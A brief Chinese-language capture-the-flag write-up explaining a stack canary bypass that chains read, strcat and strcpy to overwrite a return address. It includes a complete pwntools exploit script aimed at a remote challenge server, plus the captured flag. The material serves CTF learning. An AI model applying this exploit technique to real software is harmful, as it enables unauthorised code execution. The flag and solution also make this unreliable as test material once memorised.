思路就是先用read函数覆盖掉canary低位的\x00,这样,strcat的时候,至少会把剩下部分的canary以及之前的部分当做第一个参数,然后strcat就负责改返回地址,然后再用strcpy将canary低位覆盖为\x00,保证canary不变
神奇,巧妙,666666666
刷新了我canary只能通过泄露填上或者是越界写来绕过的认知
按着思路,gdb边调边写
exp如下:
# begin{C4N4rY_IS_so_eAsY_to_P4s5_1d1476422e67}
from pwn import *
context.log_level = 'debug'
# io = process('./cat')
io = remote("101.32.220.189",32152)
# gdb.attach(io)
backdoor = 0x4011fe
cat = b"aa" + p64(backdoor)
cpy = b"b" *0x18 + b'\x00'
buf = 'a' * 0x39
io.recvuntil("read:")
io.send(cat)
io.recvuntil("read:")
io.send(cpy)
io.recvuntil("read:")
io.send(buf)
io.interactive()